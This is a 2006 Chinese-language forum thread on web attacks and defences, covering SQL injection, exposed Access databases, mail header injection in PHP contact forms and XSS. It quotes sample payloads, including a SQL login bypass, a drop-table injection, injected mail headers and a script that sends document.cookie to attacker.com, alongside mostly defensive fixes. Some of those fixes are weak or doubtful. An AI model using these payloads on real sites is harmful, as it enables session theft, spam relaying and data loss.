佳礼资讯网

 找回密码
 注册

ADVERTISEMENT

楼主: 轩辕皇帝

网页教学,骇客技术与防范(TECHNIQUE AND PROTECTION)

[复制链接]
发表于 2-6-2006 10:19 AM | 显示全部楼层
等到颈都长了
回复

使用道具 举报


ADVERTISEMENT

发表于 6-6-2006 01:30 AM | 显示全部楼层
只要骇客在网址后加入所猜测的档名,就可下载你的资料库
e.g url:www.xuanyuan.com
骇客只要加入\xuanyuan.mdb 或 \db\ xuanyuan.mdb, 然后就可以将整个资料库存起来

〉〉现在的webhosting server都会有一个path 叫/db,把你的mdb 放在那里就安全的,因为那个path从web是access不到的,只有粗心大意的人才会把databases file放在web folder,那时候hacker就可以用google来搜查到。

朕用的就是bruteforce password crack. 多难的password 也在2 秒钟跑出来
〉〉我用的是“Advanced Access Password Recovery”,也是2 秒钟


有沒有破MySQL或Oracle的? 還有是不是應該在數據庫發表比較好一些?
〉〉MySQL或Oracle的也有,但是比较慢,因为DICTIONARY BRUCEFORCE,不是什么都有,除非你准备开1个月电脑来破解。我试过用1个星期破解MySQL

SQL INJECTION
〉〉1' or '1'='1 (就可以进路了。)
我使用保护的方法是:

SQLStr = "Select userid, pwd from table where userid = '" &userid& "'"
......

If Rs("pwd" = pwd Then
   PasswordCorrect......
Else
   PasswordWrong........
End If

记得要filter ;&(),"<>,不然hacker给你
userid = (1'; drop tablename) 你就哭了。

回复

使用道具 举报

发表于 6-6-2006 09:14 AM | 显示全部楼层
原帖由 weesiong1978 于 6-6-2006 01:30 AM 发表
记得要filter ;&(),"<>,不然hacker给你
userid = (1'; drop tablename) 你就哭了。


可以不可以只filter ;&(,"<
不要)和>,少了一个因该做不到什么吧。。

我觉得好像PHP没有这种问题吧。
有错请纠正。
谢谢
回复

使用道具 举报

发表于 6-6-2006 12:32 PM | 显示全部楼层
原帖由 weesiong1978 于 6-6-2006 01:30 AM 发表
只要骇客在网址后加入所猜测的档名,就可下载你的资料库
e.g url:www.xuanyuan.com
骇客只要加入\xuanyuan.mdb 或 \db\ xuanyuan.mdb, 然后就可以将整个资料库存起来

〉〉现在的webhosting server都会有一个 ...


敬仰, 敬仰。多谢参与交流
敢问阁下真身是何人?
回复

使用道具 举报

发表于 6-6-2006 08:06 PM | 显示全部楼层
原帖由 轩辕二世 于 6-6-2006 12:32 PM 发表


敬仰, 敬仰。多谢参与交流
敢问阁下真身是何人?


真身?不知道什么意思

只是看到这个贴很有趣,就分享我对保安系统的经验。不过我都是跑WINDOWS漏洞,或者是资料轰炸。
回复

使用道具 举报

发表于 6-6-2006 09:02 PM | 显示全部楼层
原帖由 轩辕皇帝 于 10-5-2006 11:12 AM 发表
教学 2: SQL INJECTION
LANGUAGE:ASP & OTHERS
DATABASE:MS ACCESS, SQL SERVER & ANY OTHER DATABASES

许多网络上的网站都迈向E-COMMERCE,所以免不了要让会员登入一些会员专用区,让会员进行一 ...



其实还有一个很简单的解决楼主所引用的SQL Injection的方法,
只要在帐户注册进行时执行加密功能就行了,譬如说用MD5。
用此方法后,当我们去检查database的user table资料记录的话,
只会看到一堆杂乱信号或无用信息(hash)而已。

所以,若下次黑客尝试输入如“or loginid like 'M%' or '”的话,
系统便会把它加密为“ade8fd6c93444083a0c9b5616d206b9c”,而变成
"select * from table where loginid='ade8fd6c93444083a0c9b5616d206b9c' and password='$hash_password'",
SQL Injection的攻势也就这样被瓦解了。

[ 本帖最后由 亡者之疯 于 6-6-2006 09:13 PM 编辑 ]
回复

使用道具 举报

Follow Us
发表于 8-6-2006 12:37 AM | 显示全部楼层
原帖由 亡者之疯 于 6-6-2006 09:02 PM 发表



其实还有一个很简单的解决楼主所引用的SQL Injection的方法,
只要在帐户注册进行时执行加密功能就行了,譬如说用MD5。
用此方法后,当我们去检查database的user table资料记录的话,
只会看到一堆杂乱信 ...


這個方法建議對 password 就好
如果 forget password 還可以由系統重新 generate
forget user id, 除非你有儲存在另外一個 table / field
不然就只好重新 create user 了
回复

使用道具 举报

发表于 8-6-2006 12:42 AM | 显示全部楼层
原帖由 weesiong1978 于 6-6-2006 01:30 AM 发表
只要骇客在网址后加入所猜测的档名,就可下载你的资料库
e.g url:www.xuanyuan.com
骇客只要加入\xuanyuan.mdb 或 \db\ xuanyuan.mdb, 然后就可以将整个资料库存起来

〉〉现在的webhosting server都会有一个 ...


所以我們也可以把 file.mdb rename 成 myfile08470397596.1rq5
或者是一些沒有規律的名字, 以防 '不小心' 被別人打開
回复

使用道具 举报


ADVERTISEMENT

发表于 14-10-2006 08:23 PM | 显示全部楼层
原帖由 亡者之疯 于 6-6-2006 09:02 PM 发表



其实还有一个很简单的解决楼主所引用的SQL Injection的方法,
只要在帐户注册进行时执行加密功能就行了,譬如说用MD5。
用此方法后,当我们去检查database的user table资料记录的话,
只会看到一堆杂乱信 ...

这个方法行得通, 但是记得需要多一个Column来存Actual的Username, 要不然在Manual寻找资料, 做Troubleshooting就有点困难了。
回复

使用道具 举报

发表于 14-10-2006 08:58 PM | 显示全部楼层
我也来外加一篇:
BCC Injection

身为服务器管理员, 目前常见的问题之一就是BCC Injection了。 很多的PHP编程人员不知不觉的在自己的Code里建立了这个能够允许任何人都可以Send Mail到任何一个地方的错误。

这个问题最常发生在User的Contact Form, 大家有没有想过在这个原本只是Send给网页管理员的Form居然可以S使用这个方法Inject Mail Header然后Spam Email. 严重的话会造成Server Overload, 然后被ISP和一些Handle Spam Mail的Organization Blacklist你的Server。

要BCC Inject很简单, 通常大家在写PHP Mail的时候都会这么写:
1)mail("admin@aaaa.com",$subject,$message,"from : ".$email);
或者
2)mail("admin@aaaa.com",$subject,$message,"from : ".$sender_name." <$email>");

在1号的情况下如果Email没有Validate好的话就有被攻击的危险。Exm:
这是你的Contact Form
Email Address:
Name:
Message:

如果我在Email Address上填入:
test@gmail.com \r\nto:To: test2@gmail.com \r\nSubject: test spam\r\nMIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1......(详细内容请查阅Mail里面的Header)

这样就能够允许我修改From:test@gmail.com, 然后to: test2@gmail.com,之后加入我个人的Subject和Message。

在第一个情况如果Validate好Email的话就能够阻止了。 但是在第二个情况就没有那么乐观了, 因为通常程序员都不会去Validate Name的Format。只要在Name的Field填入以上Inject的代码就可以了。

建议各位要做好Email Validation, 不要使用Javascript来Validate, 因为Javascript可以被Disable或修改之后再次Post回Server(Download整个Form下来修改)。除非逼不得已,最好不要用第二个方法来Send Mail。如果真的要使用第二个方法的话记得不Allow一些敏感的符号通过就可以了, 比如说“:”。

以上是我个人经验分享,有错请纠正。

[ 本帖最后由 belon_cfy 于 14-10-2006 09:02 PM 编辑 ]
回复

使用道具 举报

发表于 14-10-2006 09:00 PM | 显示全部楼层
原帖由 flashang 于 8-6-2006 12:42 AM 发表


所以我們也可以把 file.mdb rename 成 myfile08470397596.1rq5
或者是一些沒有規律的名字, 以防 '不小心' 被別人打開

其实不需要那么麻烦去Rename, 即使Rename了也是会有被猜到的机率。

直接放到wwwroot的外面就能够解决这个问题了。 比如说你的网页是在inetpub/wwwroot/index.asp, 吧Database直接放到inetpub里或inetpub/databaes就可以了, 注意Permission的Setting。
回复

使用道具 举报

发表于 15-10-2006 12:12 AM | 显示全部楼层
原帖由 belon_cfy 于 14-10-2006 08:58 PM 发表
我也来外加一篇:
BCC Injection

身为服务器管理员, 目前常见的问题之一就是BCC Injection了。 很多的PHP编程人员不知不觉的在自己的Code里建立了这个能够允许任何人都可以Send Mail到任何一个地方的错 ...


如果我在Email Address上填入:
test@gmail.com \r\nto:To: test2@gmail.com \r\nSubject: test spam\r\nMIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1......(详细内容请查阅Mail里面的Header)


hmm, 不是把整個 form store 到 database 做 log,
然後用一個 common 的 from
把整個 form 的 value 都方入 message 裡面嗎 ?

例如:

mail( $admin, $subject, $message, "web-request@aaaa.com );

而 $message 就包括 form 裡面的
email address, name, message

這樣你就可以根據 subject 或者 request type 來把 email forward 到不同的負責人
回复

使用道具 举报

发表于 15-10-2006 01:08 AM | 显示全部楼层
原帖由 flashang 于 15-10-2006 12:12 AM 发表


hmm, 不是把整個 form store 到 database 做 log,
然後用一個 common 的 from
把整個 form 的 value 都方入 message 裡面嗎 ?

例如:

mail( $admin, $subject, $message, "web-request@aaaa.com ...

有些人就是要Receiver的Email里有Sender的Email, 所以才在Header加上From:, 方便Receiver Reply他们的Email。 

这个From就是在Email Message之前, 打个比方:
正常的Email Header
---------------------------------------------------------
Received: from customersupport ([xxx.xxx.xxx.xxx]) by aaa.com with MailEnable ESMTP; Fri, 13 Oct 2006 19:06:43 +0800
Message-ID: <28050664.01160737664870.JavaMail.root@customersupport>
Date: Fri, 13 Oct 2006 19:07:44 +0800 (SGT)
From: test@gmail.com
To: admin@testing.com
Subject:Testing email
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Mailer: VinceVinceVince's Amazing Code

Email Content


---------------------------------------------------------
被Inject过后就是

---------------------------------------------------------
Received: from customersupport ([xxx.xxx.xxx.xxx]) by aaa.com with MailEnable ESMTP; Fri, 13 Oct 2006 19:06:43 +0800
Message-ID: <28050664.01160737664870.JavaMail.root@customersupport>
Date: Fri, 13 Oct 2006 19:07:44 +0800 (SGT)
From: test2@gmail.com
to:test3@hotmail.com
Subject : This is my spam email
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Mailer: VinceVinceVince's Amazing Code

This is my spam email



  test@gmail.com
To: admin@testing.com
Subject:Testing email
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Mailer: VinceVinceVince's Amazing Code

Email Content
---------------------------------------------------------

这只是个Example

[ 本帖最后由 belon_cfy 于 15-10-2006 01:14 AM 编辑 ]
回复

使用道具 举报

发表于 15-10-2006 06:09 PM | 显示全部楼层
原帖由 belon_cfy 于 14-10-2006 09:00 PM 发表

其实不需要那么麻烦去Rename, 即使Rename了也是会有被猜到的机率。

直接放到wwwroot的外面就能够解决这个问题了。 比如说你的网页是在inetpub/wwwroot/index.asp, 吧Database直接放到inetpub里或inetpub/ ...



在Database檔名前加上1個 # 號,即使在wwwroot也無法下載.

例: http://www.xuanyuan.com/db/#xuanyuan.mdb
回复

使用道具 举报

发表于 15-10-2006 06:45 PM | 显示全部楼层
原帖由 belon_cfy 于 15-10-2006 01:08 AM 发表

有些人就是要Receiver的Email里有Sender的Email, 所以才在Header加上From:, 方便Receiver Reply他们的Email。 

这个From就是在Email Message之前, 打个比方:
正常的Email Header
------------ ...


如果把 email address 第一個空格後面的都 delete 掉, 例如

test2@gmail.com to:test3@hotmail.com Subject : This is my spam email MIME-Version: 1.0 Content-type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Mailer: VinceVinceVince's Amazing Code This is my spam email

將會變成
test2@gmail.com
回复

使用道具 举报

发表于 16-10-2006 08:37 PM | 显示全部楼层
目前最普遍的漏洞应该还是XSS (Cross-site Scripting)吧。
这是一般网页编程员最常忽略的,也是最容易受到攻击的一个漏洞。即使是普通的Script kiddie也可以发动攻击。
XSS简单来说就是允许攻击者在网页注入恶意代码的漏洞,举个例子:

<?php

$msg = $_POST['msg'];
?>
<div><?php echo $msg;?></div>

看起来没什么问题,不过如果攻击者POST了这段字串的话就可以在网页注入代码:

"</div><script type=\"text/javascript\"> window.location="http://attacker.com/?cookie="+document.cookie;</script><div>"

就可以拿到某个受害者的cookie,进而利用这个资料登入网站。
目前XSS的威胁比SQL Injection还严重,因为只需要了解基本的scripting和一个有漏洞的网站就可以发动攻击了,随便Google一下就可以发现很多这样的漏洞。
回复

使用道具 举报


ADVERTISEMENT

发表于 16-10-2006 11:09 PM | 显示全部楼层
原帖由 kfchai1982 于 16-10-2006 08:37 PM 发表
目前最普遍的漏洞应该还是XSS (Cross-site Scripting)吧。
这是一般网页编程员最常忽略的,也是最容易受到攻击的一个漏洞。即使是普通的Script kiddie也可以发动攻击。
XSS简单来说就是允许攻击者在网页注入恶意 ...

通常我都会把URL String Encrypt起来, 或者在Post的地方都会有Encrypted的Value以防止这类型的攻击。
比如:
http://xxx.xxxxxx.com/sendmail.p ... l23jfnnf2kj3h42l3kh

还有就是在RequestValue的地方要做好Validation。
回复

使用道具 举报

Justin 该用户已被删除
发表于 17-10-2006 02:21 AM | 显示全部楼层
果然是精华!谢谢各位分享的意见!
回复

使用道具 举报

发表于 18-10-2006 11:14 PM | 显示全部楼层
原帖由 kfchai1982 于 16-10-2006 08:37 PM 发表
目前最普遍的漏洞应该还是XSS (Cross-site Scripting)吧。
这是一般网页编程员最常忽略的,也是最容易受到攻击的一个漏洞。即使是普通的Script kiddie也可以发动攻击。
XSS简单来说就是允许攻击者在网页注入恶意 ...


為了減少撿查 special characters 的麻煩,
一般上我都會把所有的字串 htmlentities ENT_NOQUOTES 起來
回复

使用道具 举报

发表于 24-10-2006 07:50 PM | 显示全部楼层
请问:
1)hacker有办法进路电脑,偷取你电脑里面的东西文件吗??
2)他们要弄坏人家电脑,有哪些方法呢??
3)它们写了病毒寄给你,是不是一定就死呢??
4) 他们寄来的病毒,不开就会没事呢??
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

 

ADVERTISEMENT



ADVERTISEMENT



ADVERTISEMENT

ADVERTISEMENT


版权所有 © 1996-2023 Cari Internet Sdn Bhd (483575-W)|IPSERVERONE 提供云主机|广告刊登|关于我们|私隐权|免控|投诉|联络|脸书|佳礼资讯网

GMT+8, 19-5-2024 07:02 AM , Processed in 0.072692 second(s), 22 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表